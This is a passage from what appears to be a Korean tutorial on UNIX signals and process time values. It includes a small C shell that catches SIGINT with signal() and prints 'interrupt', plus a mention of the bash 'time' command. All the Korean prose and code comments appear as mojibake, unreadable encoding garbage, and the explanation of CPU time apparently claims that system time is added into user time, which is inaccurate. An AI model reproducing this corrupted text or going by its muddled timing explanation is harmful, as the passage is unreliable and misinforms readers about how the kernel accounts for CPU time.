    • ์•„๊นŒ ์˜ˆ๋ฅผ๋“ค์—ˆ๋˜ SIGFPE์˜ ๊ฒฝ์šฐ ๊ธฐ๋ณธ๊ฐ’์œผ๋กœ๋Š” ํ”„๋กœ์„ธ์Šค๋ฅผ ์ข…๋ฃŒ์‹œํ‚จ๋‹ค.
  3. ์‹œ๊ทธ๋„์ด ๋ฐœ์ƒํ–ˆ์„๋•Œ ํ˜ธ์ถœ๋˜๋Š” ํ•จ์ˆ˜๋ฅผ ์ œ๊ณตํ•œ๋‹ค.
    • ์ด ๋ฐฉ๋ฒ•์„ ํ†ตํ•ด์„œ ํ”„๋กœ๊ทธ๋ž˜๋จธ๋Š” ์–ธ์ œ ์‹œ๊ทธ๋„์ด ๋ฐœ์ƒํ–ˆ๋Š”์ง€ ์•Œ ์ˆ˜ ์žˆ๊ณ  ํ•ด๋‹น ์‹œ๊ทธ๋„์„ ์ง์ ‘ ๋‹ค๋ฃฐ ์ˆ˜ ์žˆ๋‹ค.

์˜ˆ์ œ

๋งŒ์•ฝ ํ”„๋กœ๊ทธ๋žจ์„ ์‹คํ–‰์‹œํ‚ค๊ณ  ์ธํ„ฐ๋ŸฝํŠธํ‚ค๋ฅผ ๋ˆ„๋ฅด๊ฒŒ๋œ๋‹ค๋ฉด, ํ•ด๋‹น ์ธํ„ฐ๋ŸฝํŠธ์ธ SIGINT์˜ ๊ธฐ๋ณธ ์‹คํ–‰๊ฐ’์ด ํ”„๋กœ์„ธ์Šค๋ฅผ ์ข…๋ฃŒํ•˜๋Š”๊ฒƒ์ด๊ธฐ์— ํ”„๋กœ์„ธ์Šค๊ฐ€ ์ข…๋ฃŒ๋œ๋‹ค.
ํ”„๋กœ์„ธ์Šค๊ฐ€ ์ปค๋„์—๊ฒŒ ๋‹ค๋ฅธ ์ž‘์—…์„ ํ•˜๊ฒ ๋‹ค๊ณ  ์ „๋‹ฌํ•˜์ง€ ์•Š์•„์„œ, ๊ธฐ๋ณธ์ž‘์—…์ด ์‹คํ–‰๋˜๋Š”๊ฒƒ์ด๋‹ค.
๊ทธ๋ž˜์„œ ์ด๋ฒˆ์—๋Š” ๋ฐฉ๋ฒ• 3์˜ ๋ฐฉ๋ฒ•์„ ์ด์šฉํ•ด์„œ ์ €๋ฒˆ์— ๋งŒ๋“ค์—ˆ๋˜ ๊ฐ„์ด์…ธ ์†Œ์Šค์ฝ”๋“œ์— ๋ช‡๊ฐ€์ง€ ์ˆ˜์ •์‚ฌํ•ญ์„ ๋งŒ๋“ค์–ด๋ณด๊ฒ ๋‹ค.

์‹œ๊ทธ๋„์„ ์ฝ”๋“œ์—์„œ ๋‹ค๋ฃจ๋Š” ๋ฒ•์€ signal ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜๋Š”๊ฒƒ์ธ๋ฐ ๊ทธ ์‚ฌ์šฉ๋ฒ•์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

c
signal(์‹œ๊ทธ๋„๋ฒˆํ˜ธ, ์‹œ๊ทธ๋„_๋‹ค๋ฃฐ_ํ•ธ๋“ค๋Ÿฌ_ํ•จ์ˆ˜);

์—ฌ๊ธฐ์„œ ํ•ธ๋“ค๋Ÿฌํ•จ์ˆ˜๋Š” ์ธ์ž๊ฐ’์œผ๋กœ ํฌ์ธํ„ฐํ•จ์ˆ˜๋ฅผ ๋ฐ›๋Š”๊ฒƒ์ด๊ธฐ ๋•Œ๋ฌธ์— ๊ทธ๋ƒฅ ํ•จ์ˆ˜์˜ ์ด๋ฆ„๋งŒ ๋„˜๊ฒจ์ฃผ๋ฉด๋œ๋‹ค.

์•„๋ฌดํŠผ, ๊ฐ„์ด์…ธ ์†Œ์Šค์ฝ”๋“œ์— ์ธํ„ฐ๋ŸฝํŠธ๊ฐ€ ๋ฐœ์ƒํ–ˆ์œผ๋ฉด ๊ทธ๋ƒฅ "interrupt" ๋ฅผ ์ถœ๋ ฅํ•˜๊ณ  ๋‹ค์‹œ ์›๋ž˜ ๊ทธ๋žฌ๋˜๋“ฏ ์…ธ๋กœ ๋Œ์•„์˜ค๋Š” ์ˆ˜์ •์‚ฌํ•ญ์„ ๋งŒ๋“ค์–ด๋ณด๊ฒ ๋‹ค.

c
#include "apue.h"
#include <sys/wait.h>

static void sig_int(int);

int main(void) {
	char buf[MAXLINE];
	pid_t pid;
	int status;

	if(signal(SIGINT, sig_int) == SIG_ERR) //signal ํ•จ์ˆ˜์— SIGINT
		err_sys("signal error");

	printf("%% ");
	while (fgets(buf, MAXLINE, stdin) != NULL) {
		if(buf[strlen(buf) - 1] == '\n') // ๋์ž๋ฆฌ๊ฐ€ ์—”ํ„ฐ๋ฉด
			buf[strlen(buf) - 1] = 0; // ์—”ํ„ฐ๊นŒ์ง€ ๋ช…๋ น์–ด๋กœ ์‹คํ–‰์‹œํ‚ค๋ฉด ์•ˆ๋˜๋‹ˆ๊นŒ null ๋กœ ๋งŒ๋“ ๋‹ค

		if((pid = fork()) < 0)
			err_sys("fork error");
		else if (pid == 0) { /* child */
			execlp(buf, buf, (char *)0);
			err_ret("couldn't execute: %s", buf);
			exit(127);
		}
		/* parent */
		if ((pid = waitpid(pid, &status, 0)) < 0)
			err_sys("waitpid error");
		printf("%% ");
	}
	exit(0);
}

static void sig_int(int signo){
	printf("interrupt\n%% "); // "interrupt" ์ถœ๋ ฅํ•˜๊ณ  ์›๋ž˜ ๊ทธ๋žฌ๋˜๋“ฏ ์…ธ๋กœ ๋Œ์•„์˜จ๋‹ค.
}

์‹œ๊ฐ„ ๊ฐ’

์—ญ์‚ฌ์ ์œผ๋กœ ์œ ๋‹‰์Šค ์‹œ์Šคํ…œ์€ ๋‘๊ฐœ์˜ ์‹œ๊ฐ„๊ฐ’์„ ์œ ์ง€ํ•ด์™”๋‹ค.

  1. ์บ˜๋ฆฐ๋” ์‹œ๊ฐ„.
    • epoch (1970๋…„ 1์›” 1์ผ 00:00:00) ์œผ๋กœ๋ถ€ํ„ฐ์˜ ์‹œ๊ฐ„์„ ์„ธ๋Š” ๊ธฐ๋ฒ•.
    • ํŒŒ์ผ์ด ์ˆ˜์ •๋˜์—ˆ๋‹ค๊ฑฐ๋‚˜ ํ•˜๋Š” ๋‚ด์šฉ์„ ๊ธฐ๋กํ• ๋•Œ ์‚ฌ์šฉ๋œ๋‹ค.
  2. ํ”„๋กœ์„ธ์Šค ์‹œ๊ฐ„
    • CPU์‹œ๊ฐ„์ด๋ผ๊ณ ๋„ ๋ถˆ๋ฆฌ๋Š” ์ด ์‹œ๊ฐ„๋ฒ•์€ ํ”„๋กœ์„ธ์Šค์— ์˜ํ•ด CPU๊ฐ€ ์‚ฌ์šฉ๋œ ์‹œ๊ฐ„์„ ์ธก์ •ํ•œ๋‹ค.
    • clock tick์— ์˜ํ•ด ์ธก์ •๋œ๋‹ค.(์ดˆ๋‹น 50์ด๋‚˜ 60, ํ˜น์€ 100๋ฒˆ ํ‹ฑํ•œ๋‹ค.)

๊ทธ๋ž˜์„œ ํ•œ ํ”„๋กœ์„ธ์Šค์˜ ์‹คํ–‰์‹œ๊ฐ„์„ ์ธก์ •ํ•  ๋•Œ, ์œ ๋‹‰์Šค ์‹œ์Šคํ…œ์€ ๋‹ค์Œ์˜ ์„ธ๊ฐ€์ง€ ๊ฐ’์„ ํ”„๋กœ์„ธ์Šค๋ฅผ ์œ„ํ•ด ์œ ์ง€ํ•œ๋‹ค.

  1. Clock ์‹œ๊ฐ„
  • wall clock time์ด๋ผ๊ณ ๋„ ๋ถˆ๋ฆฌ๋Š” ์ด ์‹œ๊ฐ„๋ฒ•์€ ํ”„๋กœ์„ธ์Šค๊ฐ€ ์‹คํ–‰์„ ์œ„ํ•ด ๊ฑธ๋ฆฐ์‹œ๊ฐ„์„ ๊ฐ€๋ฆฌํ‚จ๋‹ค.
  • ์‹œ์Šคํ…œ์— ์˜ํ•ด ๋Œ์•„๊ฐ€๋Š” ๋‹ค๋ฅธ ํ”„๋กœ์„ธ์Šค์˜ ๊ฐœ์ˆ˜์— ์˜์กดํ•œ๋‹ค.
  1. ์‚ฌ์šฉ์ž์˜ CPU์‹œ๊ฐ„
  • ์‚ฌ์šฉ์ž์˜ ๋ช…๋ น์— ๊ด€๋ จํ•œ ์‹œ๊ฐ„์„ ๋งํ•œ๋‹ค.
  1. ์‹œ์Šคํ…œ CPU์‹œ๊ฐ„
  • ์ปค๋„์ด ํ”„๋กœ์„ธ์Šค๋ฅผ ๋Œ€์‹ ํ•˜์—ฌ ์‹คํ–‰ํ•œ ๋ช…๋ น์— ๊ด€๋ จํ•œ ์‹œ๊ฐ„์„ ๋งํ•œ๋‹ค.
    read๋‚˜ write์ฒ˜๋Ÿผ ์‹œ์Šคํ…œ ์„œ๋น„์Šค๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜๋ฉด ์ปค๋„์—์„œ ์†Œ์š”๋œ ์‹œ๊ฐ„์€ ํ”„๋กœ์„ธ์Šค์— ์ฒญ๊ตฌ๋œ๋‹ค.(์ถ”๊ฐ€ ๋œ๋‹ค.)
    ๊ทธ๋Ÿฌ๋‹ˆ๊นŒ read๋ฅผ ํ˜ธ์ถœํ•˜๊ณ  ํ•ด๋‹น ์ž‘์—…์ด ๋๋‚˜๋ฉด (์‚ฌ์šฉ์ž์˜ CPU์‹œ๊ฐ„) += ์‹œ์Šคํ…œ CPU์‹œ๊ฐ„์ด ๋˜๋Š”๊ฒƒ์ด๋‹ค.

์œ ์ €์˜ CPU์‹œ๊ฐ„๊ณผ ์‹œ์Šคํ…œ CPU์‹œ๊ฐ„์˜ ํ•ฉ์€ CPu ์‹œ๊ฐ„์ด๋ผ๊ณ  ๋ถˆ๋ฆฐ๋‹ค.

ํ•œ ํ”„๋กœ์„ธ์Šค์— ๊ด€ํ•ด์„œ, ์œ„์—์„œ ๋งํ•œ ์„ธ๊ฐ€์ง€์˜ ์‹œ๊ฐ„๊ฐ’์„ ์•Œ์•„๋‚ด๋Š” ๋ฐฉ๋ฒ•์€ ๋งค์šฐ ์‰ฝ๋‹ค.

bash
time

๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰์‹œํ‚ค๋ฉด๋œ๋‹ค.